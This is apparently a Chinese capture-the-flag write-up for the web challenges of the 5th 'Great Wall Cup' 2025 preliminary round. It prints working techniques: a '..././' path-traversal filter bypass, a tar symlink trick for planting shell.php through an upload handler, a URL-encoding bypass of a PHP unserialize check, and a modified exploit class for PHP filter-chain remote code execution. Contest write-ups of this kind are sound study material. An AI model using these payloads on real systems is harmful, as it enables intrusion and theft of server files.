第五届“长城杯”初赛 2025 Web Writeup
第五届“长城杯”初赛 2025 Web Writeup,打的时候还以为是铁人三项,被篇了,还只有 Web、AI、数据安全三个方向

文曲签学
长按 Fn 激活调试模式

read 能读取文件,文件名区分大小写,../被过滤

#read ..././..././..././..././flag

EZ_upload
源码
<?php
highlight_file(__FILE__);
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$filename = basename($file['name']);
$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);
if (empty($filename)) {
echo '文件名不符合要求。';
return;
}
$destination = $uploadDirectory . $filename;
if (move_uploaded_file($file['tmp_name'], $destination)) {
exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
echo $destination;
} else {
echo '文件移动失败。';
}
}
handleFileUpload($_FILES['file']);
?>
软链接
tar -cvf 1.tar link
tar -cvf 2.tar link/shell.php

SeRce
源码
<?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
if(serialize(unserialize($exp)) != $exp){
$data = file_get_contents($_POST['filetoread']);
echo "File Contents: $data";
}
}
要一个字符串反序列化后和序列化必须不同,在调试的时候发现URL编码后的序列化字符串在反序列化时会被错误的解析,但反序列化仍然通过,这导致了绕过
<?php
$exp = 'O:7:"Exploit":1:{s:4:"flag";N;}';
echo $exp."\n";
echo (serialize(unserialize($exp)))."\n";
if (isset($exp)) {
if (serialize(unserialize($exp)) != $exp) {
echo "File Contents1";
}
}
$exp = urlencode($exp);
echo $exp."\n";
echo (serialize(unserialize($exp)))."\n";
echo urlencode(serialize(unserialize($exp)))."\n";
if (isset($exp)) {
if (serialize(unserialize($exp)) != $exp) {
echo "File Contents2";
}
}
输出:
O:7:"Exploit":1:{s:4:"flag";N;}
O:7:"Exploit":1:{s:4:"flag";N;}
O%3A7%3A%22Exploit%22%3A1%3A%7Bs%3A4%3A%22flag%22%3BN%3B%7D
b:0;
b%3A0%3B
File Contents2

file_get_content($_POST['']),对文件读取的内容没有做任何过滤,在 PHP 中存在这样一个漏洞 RCE,它在非常多的位置都可能存在,详细参考 https://xz.aliyun.com/news/14986

修改 Remote 类
class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
exp="%4f%25%33%41%37%25%33%41%25%32%32%45%78%70%6c%6f%69%74%25%32%32%25%33%41%31%25%33%41%25%37%42%73%25%33%41%34%25%33%41%25%32%32%66%6c%61%67%25%32%32%25%33%42%4e%25%33%42%25%37%44"
url = f"{self.url}?exp={exp}"
return self.session.post(url, data={"filetoread": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File Contents:(.*)", flags=re.S).group(1)
return base64.decode(data)
经测试不能反弹 Shell,var下没有写入权限,改为写 /tmp 下再用伪协议读取


readflag 具备执行权限
python3 exp.py https://eci-2ze33airnmksp3l29jhw.cloudeci1.ichunqiu.com:80/ "/readflag > /tmp/1"

再用伪协议读即可

flag{b548ac91-611f-4937-9a15-726350a2a5b9}
第五届“长城杯”初赛 2025 Web Writeup的更多相关文章
- Writeup:第五届上海市大学生网络安全大赛-Web
目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...
- ISG 2018 Web Writeup
作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...
- 算法笔记_206:第五届蓝桥杯软件类决赛真题(Java语言A组)
目录 1 海盗分金币 2 六角幻方 3 格子放鸡蛋 4 排列序数 5 幂一矩阵 6 供水设施 前言:以下代码仅供参考,若有错误欢迎指正哦~ 1 海盗分金币 有5个海盗,相约进行一次帆船比赛. 比 ...
- [SHA2017](web) writeup
[SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...
- 【网鼎杯2020白虎组】Web WriteUp [picdown]
picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...
- 【网鼎杯2020青龙组】Web WriteUp
AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...
- 【网鼎杯2020朱雀组】Web WriteUp
nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...
- [第四届世安杯](web)writeup
ctf入门级题目 <?php $flag = '*********'; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9] ...
- 问鼎杯预赛web writeup
1. php的一个精度问题,具体什么精度自己查. 2017.000000000001=2017 2016.999999999999=2017 直接拿谷歌浏览器访问那个链接就可以拿到flag 2. 访问 ...
- [WUST-CTF]Web WriteUp
周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...
随机推荐
- respberry pi 如何通过命令行选择声卡
解决方案 pactl set-card-profile 1 a2dp_sink /proc/asound/cards 参考链接 链接1
- java 文本窗口
简介 java 文本窗口 code package calcu; import java.awt.BorderLayout; import java.awt.GridLayout; import ja ...
- 自定义.sh 文件在linux 中开机自启设置-九五小庞
有时候呢我们需要在centos系统启动的时候运行程序,这样保证一些服务就没有中断,相信你理解是什么意思.其实方法很简单呐,就是把需要运行的程序放在/etc/rc.d/rc.local里面就可以启动了除 ...
- 手把手教你React Native接入聊天IM即时通讯功能-源码分享
本文介绍如何基于React Native使用 IM即时通讯SDK- ZIM SDK 快速实现同腾讯微信消息收发聊天交友功能.实现React Native混合移动框架开发多端应用,节省开发成本. 1 I ...
- lower/upper_bound
#include<algorithm> #include<map> #include<set> #include<iostream> using nam ...
- CSV文件 字段中逗号被作为分隔符
参考:https://blog.csdn.net/ylq1045/article/details/115906779 问题: 因为字符串直接插入到CSV文件中,导致字段中存在的逗号被作为分隔符,表格视 ...
- JQuery通过Ajax发送数据
JQuery的基础教程 第六章:通过Ajax发送请求 操作案例:通过点击不同的按钮,触发ajax请求,获取不同的数据 html代码: <!DOCTYPE html> <html la ...
- MySQL 26 备库为什么会延迟好几个小时
上一篇文章介绍的场景中,对备库延迟的影响一般是分钟级的.但如果备库执行日志的速度持续低于主库生成日志的速度,那这个延迟就可能成了小时级别.这就涉及今天介绍的话题:备库并行复制能力. 主备流程图: 主备 ...
- DHCP协议(动态主机配置协议)
是一个应用层的网络协议,指的是由服务器控制一段IP地址范围,客户机登录服务时就可以自动获得服务器分配的IP地址和子网掩码,当我们将客户主机IP地址设置为动态获取方式时,DHCP服务器就会根据DHCP协 ...
- 伙伴匹配系统(移动端 H5 网站(APP 风格)基于Spring Boot 后端 + Vue3 - 03
伙伴匹配系统(移动端 H5 网站(APP 风格)基于Spring Boot 后端 + Vue3 - 03 项目地址: Github:https://github.com/China-Rainbow-s ...